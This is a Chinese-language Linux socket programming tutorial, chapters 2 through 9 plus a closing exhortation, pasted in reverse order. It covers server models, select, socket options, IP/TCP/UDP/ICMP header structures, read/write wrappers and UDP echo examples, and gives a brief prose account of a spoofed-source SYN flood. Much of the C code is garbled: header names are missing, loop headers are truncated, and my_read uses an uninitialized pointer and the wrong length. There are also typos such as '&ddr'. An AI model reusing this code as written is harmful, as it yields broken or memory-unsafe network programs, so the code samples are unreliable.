毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人! 相信一点: 别人可以做到的我们一样可以做到,而且可以比别人做的更好! 勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的! hoyt 11.1 参考资料 <<实用UNIX编程>>---机械工业出版社. <>--清华大学出版社. -------------------------------------------------------------------------------- Linux网络编程--9. 服务器模型 学习过《软件工程》吧.软件工程可是每
一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前,
我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客
户机的请求, 对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.
循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求 并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求 9.1 循环服务器:UDP服务器 UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机. 可以用下面的算法来实现. socket(...); bind(...); while(1) { recvfrom(...); process(...); sendto(...); } 因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足. 9.2 循环服务器:TCP服务器 TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接. 算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); while(1) { read(...); process(...); write(...); } close(...); } TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的. 9.3 并发服务器:TCP服务器 为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理. 算法如下: socket(...); bind(...); listen(...); while(1) { accept(...); if(fork(..)==0) { while(1) { read(...); process(...); write(...); } close(...); exit(...); } close(...); } TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作. 9.4 并发服务器:多路复用I/O 为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型. 首先介绍一个函数select int select(int nfds,fd_set *readfds,fd_set *writefds, fd_set *except fds,struct timeval *timeout) void FD_SET(int fd,fd_set *fdset) void FD_CLR(int fd,fd_set *fdset) void FD_ZERO(fd_set *fdset) int FD_ISSET(int fd,fd_set *fdset) 一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统 调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文 件描述符的集合 writefds所有要的写文件文件描述符的集合 exceptfds其他的服要向我们通知的文件描述符 timeout超时设置. nfds所有我们监控的文件描述符中最大的那一个加1 在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到. 为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset FD_CLR将fd从fdset里面清除 FD_ZERO从fdset中清除所有的文件描述符 FD_ISSET判断fd是否在fdset集合中 使用select的一个例子 int use_select(int *readfd,int n) { fd_set my_readfd; int maxfd; int i; maxfd=readfd[0]; for(i=1;i if(readfd[i]>maxfd) maxfd=readfd[i]; while(1) { /* 将所有的文件描述符加入 */ FD_ZERO(&my_readfd); for(i=0;i FD_SET(readfd[i],*my_readfd); /* 进程阻塞 */ select(maxfd+1,& my_readfd,NULL,NULL,NULL); /* 有东西可以读了 */ for(i=0;i if(FD_ISSET(readfd[i],&my_readfd)) { /* 原来是我可以读了 */ we_read(readfd[i]); } } } 使用select后我们的服务器程序就变成了. 初始话(socket,bind,listen); while(1) { 设置监听读写文件描述符(FD_*); 调用select; 如果是倾听套接字就绪,说明一个新的连接请求建立 { 建立连接(accept); 加入到监听文件描述符中去; } 否则说明是一个已经连接过的描述符 { 进行操作(read或者write); } } 多路复用I/O可以解决资源限制的问题.着模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久. 9.5 并发服务器:UDP服务器 人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建一个子进程来处理的 算法和并发的TCP模型一样. 除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型. 9.6 一个并发TCP服务器实例 #include #include #include #include #include #define MY_PORT 8888 int main(int argc ,char **argv) { int listen_fd,accept_fd; struct sockaddr_in client_addr; int n; if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Socket Error:%s\n\a",strerror(errno)); exit(1); } bzero(&client_addr,sizeof(struct sockaddr_in)); client_addr.sin_family=AF_INET; client_addr.sin_port=htons(MY_PORT); client_addr.sin_addr.s_addr=htonl(INADDR_ANY); n=1; /* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */ setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int)); if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0) { printf("Bind Error:%s\n\a",strerror(errno)); exit(1); } listen(listen_fd,5); while(1) { accept_fd=accept(listen_fd,NULL,NULL); if((accept_fd<0)&&(errno==EINTR)) continue; else if(accept_fd<0) { printf("Accept Error:%s\n\a",strerror(errno)); continue; } if((n=fork())==0) { /* 子进程处理客户端的连接 */ char buffer[1024]; close(listen_fd); n=read(accept_fd,buffer,1024); write(accept_fd,buffer,n); close(accept_fd); exit(0); } else if(n<0) printf("Fork Error:%s\n\a",strerror(errno)); close(accept_fd); } } 你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试 Linux网络编程--8. 套接字选项有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.
8.1 getsockopt和setsockopt int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen) int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen) level指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP选项. 3)IPPROTO_TCP:TCP选项. optname指定控制的方式(选项的名称),我们下面详细解释 optval获得或者是设置套接字选项.根据选项名称的数据类型进行转换 选项名称 说明 数据类型 ======================================================================== SOL_SOCKET ------------------------------------------------------------------------ SO_BROADCAST 允许发送广播数据 int SO_DEBUG 允许调试 int SO_DONTROUTE 不查找路由 int SO_ERROR 获得套接字错误 int SO_KEEPALIVE 保持连接 int SO_LINGER 延迟关闭连接 struct linger SO_OOBINLINE 带外数据放入正常数据流 int SO_RCVBUF 接收缓冲区大小 int SO_SNDBUF 发送缓冲区大小 int SO_RCVLOWAT 接收缓冲区下限 int SO_SNDLOWAT 发送缓冲区下限 int SO_RCVTIMEO 接收超时 struct timeval SO_SNDTIMEO 发送超时 struct timeval SO_REUSERADDR 允许重用本地地址和端口 int SO_TYPE 获得套接字类型 int SO_BSDCOMPAT 与BSD系统兼容 int ========================================================================== IPPROTO_IP -------------------------------------------------------------------------- IP_HDRINCL 在数据包中包含IP首部 int IP_OPTINOS IP首部选项 int IP_TOS 服务类型 IP_TTL 生存时间 int ========================================================================== IPPRO_TCP -------------------------------------------------------------------------- TCP_MAXSEG TCP最大数据段的大小 int TCP_NODELAY 不使用Nagle算法 int ========================================================================= 关于这些选项的详细情况请查看 Linux Programmer's Manual 8.2 ioctl ioctl可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项. int ioctl(int fd,int req,...) ========================================================================== ioctl的控制选项 -------------------------------------------------------------------------- SIOCATMARK 是否到达带外标记 int FIOASYNC 异步输入/输出标志 int FIONREAD 缓冲区可读的字节数 int ========================================================================== 详细的选项请用 man ioctl_list 查看. Linux网络编程--7. TCP/IP协议 你也许听说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,我们一起来学习这个目前网络上用最广泛的协议.
7.1 网络传输分层 如果你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上,人们为了传输数据时的方便,把网络的传输分为7个层次.分别 是:应用层,表示层,会话层,传输层,网络层,数据链路层和物理层.分好了层以后,传输数据时,上一层如果要数据的话,就可以直接向下一层要了,而不必要 管数据传输的细节.下一层也只向它的上一层提供数据,而不要去管其它东西了.如果你不想考试,你没有必要去记这些东西的.只要知道是分层的,而且各层的作 用不同. 7.2 IP协议 IP协议是在网络层的协议.它主要完成数据包的发送作用. 下面这个表是IP4的数据包格式 0 4 8 16 32 -------------------------------------------------- |版本 |首部长度|服务类型| 数据包总长 | -------------------------------------------------- | 标识 |DF |MF| 碎片偏移 | -------------------------------------------------- | 生存时间 | 协议 | 首部较验和 | ------------------------------------------------ | 源IP地址 | ------------------------------------------------ | 目的IP地址 | ------------------------------------------------- | 选项 | ================================================= | 数据 | ------------------------------------------------- 下面我们看一看IP的结构定义 struct ip { #if __BYTE_ORDER == __LITTLE_ENDIAN unsigned int ip_hl:4; /* header length */ unsigned int ip_v:4; /* version */ #endif #if __BYTE_ORDER == __BIG_ENDIAN unsigned int ip_v:4; /* version */ unsigned int ip_hl:4; /* header length */ #endif u_int8_t ip_tos; /* type of service */ u_short ip_len; /* total length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ u_int8_t ip_ttl; /* time to live */ u_int8_t ip_p; /* protocol */ u_short ip_sum; /* checksum */ struct in_addr ip_src, ip_dst; /* source and dest address */ }; ip_vIP协议的版本号,这里是4,现在IPV6已经出来了 ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,如果IP包没有选项,那么这个值为5. ip_tos服务类型,说明提供的优先权. ip_len说明IP数据的长度.以字节为单位. ip_id标识这个IP数据包. ip_off碎片偏移,这和上面ID一起用来重组碎片的. ip_ttl生存时间.没经过一个路由的时候减一,直到为0时被抛弃. ip_p协议,表示创建这个IP数据包的高层协议.如TCP,UDP协议. ip_sum首部校验和,提供对首部数据的校验. ip_src,ip_dst发送者和接收者的IP地址 关于IP协议的详细情况,请参考 RFC791 7.3 ICMP协议 ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,如果发生了错误,那么就会用ICMP协议来报告错误. ICMP包的结构如下: 0 8 16 32 --------------------------------------------------------------------- | 类型 | 代码 | 校验和 | -------------------------------------------------------------------- | 数据 | 数据 | -------------------------------------------------------------------- ICMP在中的定义是 struct icmphdr { u_int8_t type; /* message type */ u_int8_t code; /* type sub-code */ u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; /* echo datagram */ u_int32_t gateway; /* gateway address */ struct { u_int16_t __unused; u_int16_t mtu; } frag; /* path mtu discovery */ } un; }; 关于ICMP协议的详细情况可以查看 RFC792 7.4 UDP协议 UDP协议是建立在IP协议基础之上的,用在传输层的协议.UDP和IP协议一样是不可靠的数据报服务.UDP的头格式为: 0 16 32 --------------------------------------------------- | UDP源端口 | UDP目的端口 | --------------------------------------------------- | UDP数据报长度 | UDP数据报校验 | --------------------------------------------------- UDP结构在中的定义为: struct udphdr { u_int16_t source; u_int16_t dest; u_int16_t len; u_int16_t check; }; 关于UDP协议的详细情况,请参考 RFC768 7.5 TCP TCP协议也是建立在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结构比前面的结构都要复杂. 0 4 8 10 16 24 32 ------------------------------------------------------------------- | 源端口 | 目的端口 | ------------------------------------------------------------------- | 序列号 | ------------------------------------------------------------------ | 确认号 | ------------------------------------------------------------------ | | |U|A|P|S|F| | |首部长度| 保留 |R|C|S|Y|I| 窗口 | | | |G|K|H|N|N| | ----------------------------------------------------------------- | 校验和 | 紧急指针 | ----------------------------------------------------------------- | 选项 | 填充字节 | ----------------------------------------------------------------- TCP的结构在中定义为: struct tcphdr { u_int16_t source; u_int16_t dest; u_int32_t seq; u_int32_t ack_seq; #if __BYTE_ORDER == __LITTLE_ENDIAN u_int16_t res1:4; u_int16_t doff:4; u_int16_t fin:1; u_int16_t syn:1; u_int16_t rst:1; u_int16_t psh:1; u_int16_t ack:1; u_int16_t urg:1; u_int16_t res2:2; #elif __BYTE_ORDER == __BIG_ENDIAN u_int16_t doff:4; u_int16_t res1:4; u_int16_t res2:2; u_int16_t urg:1; u_int16_t ack:1; u_int16_t psh:1; u_int16_t rst:1; u_int16_t syn:1; u_int16_t fin:1; #endif u_int16_t window; u_int16_t check; u_int16_t urg_prt; }; source发送TCP数据的源端口 dest接受TCP数据的目的端口 seq标识该TCP所包含的数据字节的开始序列号 ack_seq确认序列号,表示接受方下一次接受的数据序列号. doff数据首部长度.和IP协议一样,以4字节为单位.一般的时候为5 urg如果设置紧急数据指针,则该位为1 ack如果确认号正确,那么为1 psh如果设置为1,那么接收方收到数据后,立即交给上一层程序 rst为1的时候,表示请求重新连接 syn为1的时候,表示请求建立连接 fin为1的时候,表示亲戚关闭连接 window窗口,告诉接收者可以接收的大小 check对TCP数据进行较核 urg_ptr如果urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值 关于TCP协议的详细情况,请查看 RFC793 7.6 TCP连接的建立 TCP协议是一种可靠的连接,为了保证连接的可靠性,TCP的连接要分为几个步骤.我们把这个连接过程称为"三次握手". 下面我们从一个实例来分析建立连接的过程. 第一步客户机向服务器发送一个TCP数据包,表示请求建立连接. 为此,客户端将数据包的SYN位设置为1,并且设置序列号seq=1000(我们假设为1000). 第二步服务器收到了数据包,并从SYN位为1知道这是一个建立请求的连接.于是服务器也向客户端发送一个TCP数据包.因为是响应客户机的请求, 于是服务器设置ACK为1,sak_seq=1001(1000+1)同时设置自己的序列号.seq=2000(我们假设为2000). 第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接. 最后一步服务器受到确认信息,也完成连接. 通过上面几个步骤,一个TCP连接就建立了.当然在建立过程中可能出现错误,不过TCP协议可以保证自己去处理错误的. 说一说其中的一种错误. 听说过DOS吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是DOS(拒绝式服务)方式.概括的说一下原理. 客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP连接,客户机应该进行第三个步骤. 不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的IP地址,就是说将一个实际上不存在的IP填充在自己IP 数据包的发送者的IP一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时. 这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求. 这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况. Linux网络编程--6. 高级套接字函数 在前面的几个部分里面,我们已经学会了怎么样从网络上读写信息了.前面的一些函数(read,write)是网络程序里面最基本的函数.也是最原始的通信函数.在这一章里面,我们一起来学习网络通信的高级函数.这一章我们学习另外几个读写函数.
6.1 recv和send recv和send函数提供了和read和write差不多的功能.不过它们提供 了第四个参数来控制读写操作. int recv(int sockfd,void *buf,int len,int flags) int send(int sockfd,void *buf,int len,int flags) 前面的三个参数和read,write一样,第四个参数可以是0或者是以下的组合 _______________________________________________________________ | MSG_DONTROUTE | 不查找路由表 | | MSG_OOB | 接受或者发送带外数据 | | MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 | | MSG_WAITALL | 等待所有数据 | |--------------------------------------------------------------| MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面,没有必要查找路由表.这个标志一般用网络诊断和路由程序里面. MSG_OOB:表示可以接收和发送带外的数据.关于带外数据我们以后会解释的. MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲区的内容.这样下次读的时候,仍然是一样的内容.一般在有多个进程读写数据时可以使用这个标志. MSG_WAITALL是recv函数的使用标志,表示等到所有的信息到达时才返回.使用这个标志的时候recv回一直阻塞,直到指定的条件满 足,或者是发生了错误. 1)当读到了指定的字节时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于len 3) 当操作发生错误时,返回-1,且设置错误为相应的错误号(errno) 如果flags为0,则和read,write一样的操作.还有其它的几个选项,不过我们实际上用的很少,可以查看 Linux Programmer's Manual得到详细解释. 6.2 recvfrom和sendto 这两个函数一般用在非套接字的网络程序当中(UDP),我们已经在前面学会了. 6.3 recvmsg和sendmsg recvmsg和sendmsg可以实现前面所有的读写函数的功能. int recvmsg(int sockfd,struct msghdr *msg,int flags) int sendmsg(int sockfd,struct msghdr *msg,int flags) struct msghdr { void *msg_name; int msg_namelen; struct iovec *msg_iov; int msg_iovlen; void *msg_control; int msg_controllen; int msg_flags; } struct iovec { void *iov_base; /* 缓冲区开始的地址 */ size_t iov_len; /* 缓冲区的长度 */ } msg_name和 msg_namelen当套接字是非面向连接时(UDP),它们存储接收和发送方的地址信息.msg_name实际上是一个 指向struct sockaddr的指针,msg_name是结构的长度.当套接字是面向连接时,这两个值应设为NULL. msg_iov和 msg_iovlen指出接受和发送的缓冲区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. msg_control和msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送的操作选项.和 recv,send的选项一样 6.4 套接字的关闭 关闭套接字有两个函数close和shutdown.用close时和我们关闭文件一样. 6.5 shutdown int shutdown(int sockfd,int howto) TCP连接是双向的(是可读写的),当我们使用close时,会把读写通道都关闭,有时侯我们希望只关闭一个方向,这个时候我们可以使用shutdown.针对不同的howto,系统回采取不同的关闭方式. howto=0这个时候系统会关闭读通道.但是可以继续往接字描述符写. howto=1关闭写通道,和上面相反,着时候就只可以读了. howto=2关闭读写通道,和close一样 在多进程程序里面,如果有几个子进程共享一个套接字时,如果我们使用shutdown, 那么所有的子进程都不能够操作了,这个时候我们只能够使用close来关闭子进程的套接字描述符. Linux网络编程--5. 用户数据报发送 我们前面已经学习网络程序的一个很大的
部分,由这个部分的知识,我们实际上可以写出大部分的基于TCP协议的网络程序了.现在在Linux下的大部分程序都是用我们上面所学的知识来写的.我们
可以去找一些源程序来参考一下.这一章,我们简单的学习一下基于UDP协议的网络程序.
5.1 两个常用的函数 int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen) int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen) sockfd,buf,len的意义和read,write一样,分别表示套接字描述符,发送或接收的缓冲区及大小.recvfrom负责从 sockfd接收数据,如果from不是NULL,那么在from里面存储了信息来源的情况,如果对信息的来源不感兴趣,可以将from和fromlen 设置为NULL.sendto负责向to发送信息.此时在to里面存储了收信息方的详细资料. 5.2 一个实例 /* 服务端程序 server.c */ #include #include #include #include #include #define SERVER_PORT 8888 #define MAX_MSG_SIZE 1024 void udps_respon(int sockfd) { struct sockaddr_in addr; int addrlen,n; char msg[MAX_MSG_SIZE]; while(1) { /* 从网络上度,写到网络上面去 */ n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0, (struct sockaddr*)&addr,&addrlen); msg[n]=0; /* 显示服务端已经收到了信息 */ fprintf(stdout,"I have received %s",msg); sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen); } } int main(void) { int sockfd; struct sockaddr_in addr; sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n",strerror(errno)); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_addr.s_addr=htonl(INADDR_ANY); addr.sin_port=htons(SERVER_PORT); if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0) { fprintf(stderr,"Bind Error:%s\n",strerror(errno)); exit(1); } udps_respon(sockfd); close(sockfd); } /* 客户端程序 */ #include #include #include #include #include #include #define MAX_BUF_SIZE 1024 void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len) { char buffer[MAX_BUF_SIZE]; int n; while(1) { /* 从键盘读入,写到服务端 */ fgets(buffer,MAX_BUF_SIZE,stdin); sendto(sockfd,buffer,strlen(buffer),0,addr,len); bzero(buffer,MAX_BUF_SIZE); /* 从网络上读,写到屏幕上 */ n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL); buffer[n]=0; fputs(buffer,stdout); } } int main(int argc,char **argv) { int sockfd,port; struct sockaddr_in addr; if(argc!=3) { fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); exit(1); } if((port=atoi(argv[2]))<0) { fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]); exit(1); } sockfd=socket(AF_INET,SOCK_DGRAM,0); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n",strerror(errno)); exit(1); } /* 填充服务端的资料 */ bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(port); if(inet_aton(argv[1],&addr.sin_addr)<0) { fprintf(stderr,"Ip error:%s\n",strerror(errno)); exit(1); } udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in)); close(sockfd); } ########### 编译文件 Makefile ########## all:server client server:server.c gcc -o server server.c client:client.c gcc -o client client.c clean: rm -f server rm -f client rm -f core 上面的实例如果大家编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务端,然后运行客户端.在客户端输入信息,发送到服务端, 在 服务端显示已经收到信息,但是客户端没有反映.再运行一个客户端,向服务端发出信息 却可以得到反应.我想可能是第一个客户端已经阻塞了.如果谁知道怎么 解决的话,请告诉我,谢谢. 由于UDP协议是不保证可靠接收数据的要求,所以我们在发送信息的时候,系统并不能够保证我们发出的信息都正确无误的到达目 的地.一般的来说我们在编写网络程序的时候都是选用TCP协议的. Linux网络编程--4. 完整的读写函数一旦我们建立了连接,我们的下一步就是进行通信了.在Linux下面把我们前面建立的通道 看成是文件描述符,这样服务器端和客户端进行通信时候,只要往文件描述符里面读写东西了. 就象我们往文件读写一样.
4.1 写函数write ssize_t write(int fd,const void *buf,size_t nbytes) write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时返回-1. 并设置errno变量. 在网络程序中,当我们向套接字文件描述符写时有俩种可能. 1)write的返回值大于0,表示写了部分或者是全部的数据. 2)返回的值小于0,此时出现了错误.我们要根据错误类型来处理. 如果错误为EINTR表示在写的时候出现了中断错误. 如果为EPIPE表示网络连接出现了问题(对方已经关闭了连接). 为了处理以上的情况,我们自己编写一个写函数来处理这几种情况. int my_write(int fd,void *buffer,int length) { int bytes_left; int written_bytes; char *ptr; ptr=buffer; bytes_left=length; while(bytes_left>0) { /* 开始写*/ written_bytes=write(fd,ptr,bytes_left); if(written_bytes<=0) /* 出错了*/ { if(errno==EINTR) /* 中断错误 我们继续写*/ written_bytes=0; else /* 其他错误 没有办法,只好撤退了*/ return(-1); } bytes_left-=written_bytes; ptr+=written_bytes; /* 从剩下的地方继续写 */ } return(0); } 4.2 读函数read ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读成功时, read返回实际所读的字节数,如果返回的值是0 表示已经读到文件的结束了,小于0表示出现了错误.如果错误为EINTR说明读是由中断引起的, 如果 是ECONNREST表示网络连接出了问题. 和上面一样,我们也写一个自己的读函数. int my_read(int fd,void *buffer,int length) { int bytes_left; int bytes_read; char *ptr; bytes_left=length; while(bytes_left>0) { bytes_read=read(fd,ptr,bytes_read); if(bytes_read<0) { if(errno==EINTR) bytes_read=0; else return(-1); } else if(bytes_read==0) break; bytes_left-=bytes_read; ptr+=bytes_read; } return(length-bytes_left); } 4.3 数据的传递 有了上面的两个函数,我们就可以向客户端或者是服务端传递数据了.比如我们要传递一个结构.可以使用如下方式 /* 客户端向服务端写 */ struct my_struct my_struct_client; write(fd,(void *)&my_struct_client,sizeof(struct my_struct); /* 服务端的读*/ char buffer[sizeof(struct my_struct)]; struct *my_struct_server; read(fd,(void *)buffer,sizeof(struct my_struct)); my_struct_server=(struct my_struct *)buffer; 在网络上传递数据时我们一般都是把数据转化为char类型的数据传递.接收的时候也是一样的 注意的是我们没有必要在网络上传递指针(因为传递指针是没有任何意义的,我们必须传递指针所指向的内容) Linux网络编程--3. 服务器和客户机的信息函数这一章我们来学习转换和网络方面的信息函数.
3.1 字节转换函数 在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不同的, 比如i386芯片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一起来,在Linux下面,有专门的字节转换函数. unsigned long int htonl(unsigned long int hostlong) unsigned short int htons(unisgned short int hostshort) unsigned long int ntohl(unsigned long int netlong) unsigned short int ntohs(unsigned short int netshort) 在这四个转换函数中,h 代表host, n 代表 network.s 代表short l 代表long 第一个函数的意义是将本机器上的long数据转化为网络上的long. 其他几个函数的意义也差不多. 3.2 IP和域名的转换 在网络上标志一台机器可以用IP或者是用域名.那么我们怎么去进行转换呢? struct hostent *gethostbyname(const char *hostname) struct hostent *gethostbyaddr(const char *addr,int len,int type) 在中有struct hostent的定义 struct hostent{ char *h_name; /* 主机的正式名称 */ char *h_aliases; /* 主机的别名 */ int h_addrtype; /* 主机的地址类型 AF_INET*/ int h_length; /* 主机的地址长度 对于IP4 是4字节32位*/ char **h_addr_list; /* 主机的IP地址列表 */ } #define h_addr h_addr_list[0] /* 主机的第一个IP地址*/ gethostbyname可以将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里面储存了域名的信息 gethostbyaddr可以将一个32位的IP地址(C0A80001)转换为结构指针. 这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()可以得到详细的出错信息 3.3 字符串的IP和32位的IP转换. 在网络上面我们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中用的是32位的IP, 我们上面那个32位IP(C0A80001)是的192.168.0.1 为了转换我们可以使用下面两个函数 int inet_aton(const char *cp,struct in_addr *inp) char *inet_ntoa(struct in_addr in) 函数里面 a 代表 ascii n 代表network.第一个函数表示将a.b.c.d的IP转换为32位的IP,存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式. 3.4 服务信息函数 在网络程序里面我们有时候需要知道端口.IP和服务信息.这个时候我们可以使用以下几个函数 int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen) int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen) struct servent *getservbyname(const char *servname,const char *protoname) struct servent *getservbyport(int port,const char *protoname) struct servent { char *s_name; /* 正式服务名 */ char **s_aliases; /* 别名列表 */ int s_port; /* 端口号 */ char *s_proto; /* 使用的协议 */ } 一般我们很少用这几个函数.对应客户端,当我们要得到连接的端口号时在connect调用成功后使用可得到 系统分配的端口号.对于服务端,我们用INADDR_ANY填充后,为了得到连接的IP我们可以在accept调用成功后 使用而得到IP地址. 在网络上有许多的默认端口和服务,比如端口21对ftp80对应WWW.为了得到指定的端口号的服务 我们可以调用第四个函数,相反为了得到端口号可以调用第三个函数. 3.5 一个例子 #include #include #include #include #include int main(int argc ,char **argv) { struct sockaddr_in addr; struct hostent *host; char **alias; if(argc<2) { fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]); exit(1); } argv++; for(;*argv!=NULL;argv++) { /* 这里我们假设是IP*/ if(inet_aton(*argv,&addr.sin_addr)!=0) { host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET); printf("Address information of Ip %s\n",*argv); } else { /* 失败,难道是域名?*/ host=gethostbyname(*argv); printf("Address information of host %s\n",*argv); } if(host==NULL) { /* 都不是 ,算了不找了*/ fprintf(stderr,"No address information of %s\n",*argv); continue; } printf("Official host name %s\n",host->h_name); printf("Name aliases:"); for(alias=host->h_aliases;*alias!=NULL;alias++) printf("%s ,",*alias); printf("\nIp address:"); for(alias=host->h_addr_list;*alias!=NULL;alias++) printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias))); } } 在这个例子里面,为了判断用户输入的是IP还是域名我们调用了两个函数,第一次我们假设输入的是IP所以调用inet_aton, 失败的时候,再调用gethostbyname而得到信息. Linux网络编程--2. 初等网络函数介绍(TCP) Linux系统是通过提供套接字(socket)来进行网络编程的.网络程序通过socket和其它几个函数的调用,会返回一个 通讯的文件描述符,
我们可以将这个描述符看成普通的文件的描述符来操作,这就是linux的设备无关性的 好处.我们可以通过向描述符读写操作实现网络之间的数据交流.
